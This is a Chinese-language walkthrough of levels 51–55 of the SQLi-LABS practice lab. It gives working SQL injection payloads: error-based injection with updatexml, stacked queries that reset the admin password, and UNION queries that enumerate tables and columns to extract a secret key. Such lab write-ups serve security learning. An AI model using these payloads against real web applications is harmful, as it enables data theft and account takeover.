SQLi-LABS通关攻略【51-55关】
SQLi-LABS 51关
51关和50关一样,只是改为了单引号闭合
依旧有报错信息,可以使用报错注入
构造payload,得到数据库名
?sort=1' and updatexml(1,concat(1,database()),1)--+
SQLi-LABS 52关
52关和50关一样,但是没有报错信息,所以报错注入的方式行不通
可以使用堆叠注入或者时间盲注
这里使用堆叠注入
构造payload更改admin的密码,测试堆叠注入是否可行
?sort=1;update users set password='777' where username='admin'--+
修改成功,存在堆叠注入
SQLi-LABS 53关
53关和52关一样,同样是没有报错信息,但是是字符型,使用单引号闭合
构造payload更改admin的密码为444
?sort=1';update users set password='444' where username='admin'--+
更改成功,存在堆叠注入
SQLi-LABS 54关
本关是全新的模式
这一关就是让我们在十次的查询次数内找到secret key
如果超过十次没有结果,那就会重置本关
我们直接测试闭合方式,是字符型,单引号闭合
因为题目中指定了数据库'challenges'
接下来直接使用联合注入进行表名查询
?id=-1'union select 1,2,table_name from information_schema.tables where table_schema=database()--+
得到表明是这个 p7bqnwkvaj
接下来查询字段
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='p7bqnwkvaj'--+
最后直接查询secret_VO6I字段
?id=-1'union select 1,2,secret_VO6I from p7bqnwkvaj--+
将得到key提交就算过关了
SQLi-LABS 55关
55关和54关一样,只是查询次数改为14次,闭合方式改为数字型括号闭合
题目依旧指定了数据库名是'challenges'
所以我们直接查表名
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
得到表明是250xkt025w
接下来查字段
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='250xkt025w'--+
查询secret_DMQK字段
?id=-1) union select 1,2,secret_DMQK from 250xkt025w --+
得到key后直接提交就可以通关了